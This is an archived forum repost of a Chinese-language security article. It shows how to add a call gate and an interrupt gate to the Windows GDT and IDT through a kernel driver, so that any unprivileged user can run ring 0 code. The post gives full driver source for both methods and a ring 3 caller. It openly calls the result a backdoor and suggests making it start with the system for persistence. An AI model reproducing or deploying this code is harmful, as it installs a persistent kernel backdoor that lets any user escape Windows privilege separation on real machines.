邪恶八进制信息安全团队技术讨论组's Archiver

冰血封情 2005-4-1 19:16

[转载]任意用户模式下执行 ring 0 代码

  文章作者:[email]sinister@whitecell.org[/email]
信息来源:[url]www.whitecell.org[/url]

  众所周知在非 Admin 用户模式下,是不允许加载驱动执行 RING 0 代码的。
本文提供了一种方法,通过修改系统 GDT,IDT 来添加自己的 CALLGATE 和
INTGATE 这样便在系统中设置了一个后门。我们就可以利用这个后门
在任意用户模式下执行 ring 0 代码了。为了保证我们添加的 CALLGATE 和 INT
GATE 永久性。可以在第一次安装时利用 SERVICE API 或 INF 文件设置成随
系统启动。不过此方法也有个缺陷,就是在第一次安装 CALLGATE 或 INTGATE
时仍然需要 ADMIN 权限。下面分别给出了添加 CALLGATE 与 INTGATE 的具体
代码。

  
  一、通过添加调用门实现

  为了可以让任意用户来调用我们的 CALLGATE 需要解决一个小问题。因为
需要知道 CALLGATE 的 SELECTOR 后才可以调用。而在 RING 3 下除了能
得到 GDT 的 BASE ADDRESS 和 LIMIT 外是无法访问 GDT 内容的。我本想
在 RING 0 把 SELECTOR 保存到文件里。在 RING 3 下读取出来再调用。
后经过跟 wowocock 探讨。他提出的思路是在 RING 0 下通过
ZwQuerySystemInformation 得到 NTDLL.DLL 的 MODULE BASE 然后根据
PE HEADER 中的空闲处存放 SELECTOR。这样在 RING 3 的任意用户模式下
就很容易得到了。在这里要特别感谢 wowocock。下面的代码为了演示
方便,用了在我机器上 GDT 中第一个空闲描述符的 SELECTOR 。


驱动程序:
[code]/*****************************************************************
文件名      : WssAddCallGate.c
描述       : 添加调用门
作者       : sinister
最后修改日期  : 2002-11-02
*****************************************************************/

#include "ntddk.h"
#include "string.h"

#ifndef DWORD
#define DWORD unsigned int
#endif

#ifndef WORD
#define WORD unsigned short
#endif

#define LOWORD(l)        ((unsigned short)(unsigned int)(l))
#define HIWORD(l)        ((unsigned short)((((unsigned int)(l)) >> 16) & 0xFFFF))


typedef unsigned long   ULONG;
static NTSTATUS  MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp);
VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject);

#pragma pack(push,1)


typedef struct tagGDTR{
   WORD   wLimit;
   DWORD  *dwBase;
}GDTR, *PGDTR;

typedef struct tagGDT_DESCRIPTOR{
   unsigned limit      : 16;
   unsigned baselo      : 16;
   unsigned basemid    : 8;
   unsigned type      : 4;
   unsigned system    : 1;
   unsigned dpl      : 2;
   unsigned present    : 1;
   unsigned limithi    : 4;
   unsigned available  : 1;
   unsigned zero      : 1;
   unsigned size      : 1;
   unsigned granularity : 1;
   unsigned basehi : 8;
}GDT_DESCRIPTOR, *PGDT_DESCRIPTOR;

typedef struct tagCALLGATE_DESCRIPTOR{
   unsigned short  offset_0_15;
   unsigned short  selector;
   unsigned char   param_count : 4;
   unsigned char   some_bits  : 4;
   unsigned char   type      : 4;
   unsigned char   app_system  : 1;
   unsigned char   dpl      : 2;
   unsigned char   present    : 1;
   unsigned short  offset_16_31;
} CALLGATE_DESCRIPTOR, *PCALLGATE_DESCRIPTOR;

#pragma pack(pop)

void __declspec(naked) Ring0Call()
{
   PHYSICAL_ADDRESS  PhyAdd;

   __asm {
      pushad
      pushfd
      cli
   }

    DbgPrint("WSS - My CallGate \n");

    //
    // 这里可以添加你想要执行的 ring 0 代码。
    //

   __asm {
     popfd
     popad
     retf
   }
}

VOID AddCallGate( ULONG FuncAddr )
{
   GDTR              gdtr;
   PGDT_DESCRIPTOR      gdt;
   PCALLGATE_DESCRIPTOR   callgate;
   WORD              wGDTIndex = 1;


   __asm {
      sgdt  gdtr            // 得到 GDT 基地址与界限
   }

   gdt = (PGDT_DESCRIPTOR) ( gdtr.dwBase + 8 );  // 跳过空选择子

   while ( wGDTIndex < ( gdtr.wLimit / 8 ) )
   {
     if ( gdt->present == 0 )    //从 GDT 中找到空描述符
     {        
        callgate = (PCALLGATE_DESCRIPTOR)gdt;

        callgate->offset_0_15         = LOWORD(FuncAddr);
        callgate->selector      = 8;              // 内核段选择子
        callgate->param_count         = 0;          // 参数复制数量
        callgate->some_bits      = 0;              
        callgate->type         = 0xC;          // 386调用门
        callgate->app_system         = 0;              // 系统描述符
        callgate->dpl         = 3;              // RING 3 可调用
        callgate->present      = 1;              // 设置存在位
        callgate->offset_16_31  = HIWORD(FuncAddr);
        DbgPrint("Add CallGate\n");

        return;
     }

     gdt ++;      
     wGDTIndex ++;
   }

}


// 驱动入口
NTSTATUS  DriverEntry( IN PDRIVER_OBJECT DriverObject,  IN PUNICODE_STRING RegistryPath )
{
   
   UNICODE_STRING  nameString, linkString;
   PDEVICE_OBJECT  deviceObject;
   NTSTATUS      status;
   HANDLE       hHandle;
   int           i;
   

   //卸载驱动
   DriverObject->DriverUnload = DriverUnload;

   //建立设备
   RtlInitUnicodeString( &nameString, L"\\Device\\WssAddCallGate" );
   
   status = IoCreateDevice( DriverObject,
                    0,
                    &nameString,
                    FILE_DEVICE_UNKNOWN,
                    0,
                    TRUE,
                    &deviceObject
                  );
                  

   if (!NT_SUCCESS( status ))
      return status;
   

   RtlInitUnicodeString( &linkString, L"\\DosDevices\\WssAddCallGate" );

   status = IoCreateSymbolicLink (&linkString, &nameString);

   if (!NT_SUCCESS( status ))
   {
      IoDeleteDevice (DriverObject->DeviceObject);
      return status;
   }   
   
   AddCallGate((ULONG)Ring0Call);

   for ( i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)   {

       DriverObject->MajorFunction[i] = MydrvDispatch;
   }

    DriverObject->DriverUnload = DriverUnload;
   
  return STATUS_SUCCESS;
}


//处理设备对象操作

static NTSTATUS MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
   Irp->IoStatus.Status = STATUS_SUCCESS;
   Irp->IoStatus.Information = 0L;
   IoCompleteRequest( Irp, 0 );
   return Irp->IoStatus.Status;
   
}



VOID DriverUnload (IN PDRIVER_OBJECT   pDriverObject)
{
   UNICODE_STRING  nameString;

   RtlInitUnicodeString( &nameString, L"\\DosDevices\\WssAddCallGate" );   
   IoDeleteSymbolicLink(&nameString);
   IoDeleteDevice(pDriverObject->DeviceObject);

   return;
}[/code]

应用程序:

[code]#include <windows.h>
#include <stdio.h>

void main()
{
   WORD farcall[3];

   farcall[0] = 0x0;
   farcall[1] = 0x0;
   farcall[2] = 0x4b;  //在我机器上,添加 CALLGATE 的选择子为 4BH

   _asm call fword ptr [farcall]


}[/code]

  二、通过添加中断门实现

  添加中断门没有什么需要解决的问题。直接在 RING 3 利用 int x
即可切换。想想系统调用 INT 2E 就很容易理解了。

[code]/*****************************************************************
文件名      : WssMyInt.c
描述       : 添加中断门
作者       : sinister
最后修改日期  : 2002-11-02
*****************************************************************/

#include "ntddk.h"

#pragma pack(1)


typedef struct tagIDTR {
      short Limit;
      unsigned int Base;
}IDTR, *PIDTR;


typedef struct tagIDTENTRY {
      unsigned short OffsetLow;
      unsigned short Selector;
      unsigned char  Reserved;
      unsigned char  Type:4;
      unsigned char  Always0:1;
      unsigned char  Dpl:2;
      unsigned char  Present:1;
      unsigned short OffsetHigh;
} IDTENTRY, *PIDTENTRY;

#pragma pack()

#define MYINT 0x76

extern VOID _cdecl MyIntFunc();
CHAR  IDTBuffer[6];

IDTENTRY  OldIdt;
PIDTR idtr = (PIDTR)IDTBuffer;


static NTSTATUS  MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp);
VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject);

// 我们得中断处理函数

VOID _cdecl MyIntFunc()
{
   PHYSICAL_ADDRESS  PhyAdd;
   unsigned int    dwCallNum;
   unsigned int    dwVAddr;

   _asm mov dwCallNum,eax

    //
    // 这里可以添加你想要执行的 ring 0 代码
    //

   switch ( dwCallNum )
   {
      case 0x01:      
         DbgPrint("MyIntGate eax = 0x01\n");
         break;

      case 0x02:
         DbgPrint("MyIntGate eax = 0x02\n");
         break;

      default:break;

   }


   _asm iretd; //中断返回
}

NTSTATUS AddMyInt()
{
   PIDTENTRY   Idt;

   //得到 IDTR 中得段界限与基地址
   _asm sidt IDTBuffer

   Idt = (PIDTENTRY)idtr->Base; //得到IDT表基地址

   //保存原有得 IDT
   RtlCopyMemory(&OldIdt, &Idt[MYINT], sizeof(OldIdt));


   //禁止中断
   _asm cli

   //设置 IDT 表各项添加我们得中断

   Idt[MYINT].OffsetLow  = (unsigned short)MyIntFunc;   //取中断处理函数低16位
   Idt[MYINT].Selector   = 8;                   //设置内核段选择子
   Idt[MYINT].Reserved   = 0;                   //系统保留
   Idt[MYINT].Type      = 0xE;                  //设置0xE表示是中断门
   Idt[MYINT].Always0    = 0;                   //系统保留必须为0
   Idt[MYINT].Dpl      = 3;                   //描述符权限,设置为允许 RING 3 进程调用
   Idt[MYINT].Present    = 1;                   //存在位设置为1表示有效
   Idt[MYINT].OffsetHigh  = (unsigned short)((unsigned int)MyIntFunc>>16); //取中断处理函数高16位

   //开中断
   _asm sti

   return STATUS_SUCCESS;
}


//删除中断

void RemoveMyInt()
{
   PIDTENTRY        Idt;
   Idt = (PIDTENTRY)idtr->Base;

   _asm cli
   //恢复 IDT
   RtlCopyMemory(&Idt[MYINT], &OldIdt, sizeof(OldIdt));
   _asm sti
}



// 驱动入口
NTSTATUS  DriverEntry( IN PDRIVER_OBJECT DriverObject,  IN PUNICODE_STRING RegistryPath )
{
   
   UNICODE_STRING  nameString, linkString;
   //UNICODE_STRING  deviceString;
   PDEVICE_OBJECT  deviceObject;
   NTSTATUS      status;
   WCHAR        wBuffer[200];
   
   nameString.Buffer      = wBuffer;
   nameString.MaximumLength = 200;


   //卸载驱动
   DriverObject->DriverUnload = DriverUnload;

   //建立设备
   RtlInitUnicodeString( &nameString, L"\\Device\\WSSINT" );
   
   status = IoCreateDevice( DriverObject,
                    0,
                    &nameString,
                    FILE_DEVICE_UNKNOWN,
                    0,
                    TRUE,
                    &deviceObject
                  );
                  

   if (!NT_SUCCESS( status ))
      return status;
   
   RtlInitUnicodeString( &linkString, L"\\??\\WSSINT" );

   //使WIN32应用程序可见
   status = IoCreateSymbolicLink (&linkString, &nameString);

   if (!NT_SUCCESS( status ))
   {
      IoDeleteDevice (DriverObject->DeviceObject);
      return status;
   }   
   
   AddMyInt();

   DriverObject->MajorFunction[IRP_MJ_CREATE] = MydrvDispatch;
   DriverObject->MajorFunction[IRP_MJ_CLOSE]  = MydrvDispatch;  
   
  return STATUS_SUCCESS;
}


static NTSTATUS MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
   NTSTATUS        status;
   
   UNREFERENCED_PARAMETER( DeviceObject );
   
   Irp->IoStatus.Status = STATUS_SUCCESS;
   Irp->IoStatus.Information = 0L;
   status = STATUS_SUCCESS;

   IoCompleteRequest( Irp, 0 );
   return status;
   
}



VOID DriverUnload (IN PDRIVER_OBJECT   pDriverObject)
{
   UNICODE_STRING  nameString;
   UNICODE_STRING  deviceString,driveString;
   NTSTATUS      ntStatus;

   RemoveMyInt();

   //删除WIN32可见
   IoDeleteSymbolicLink(&nameString);
   //删除设备
   IoDeleteDevice(pDriverObject->DeviceObject);

   return;
}[/code]


关于我们:

WSS(Whitecell Security Systems),一个非营利性民间技术组织,致力于各种系统安全技术的研究。坚持传统的hacker精神,追求技术的精纯。
WSS 主页:[url]http://www.whitecell.org/[/url]

页: [1]
© 1999-2008 EvilOctal Security Team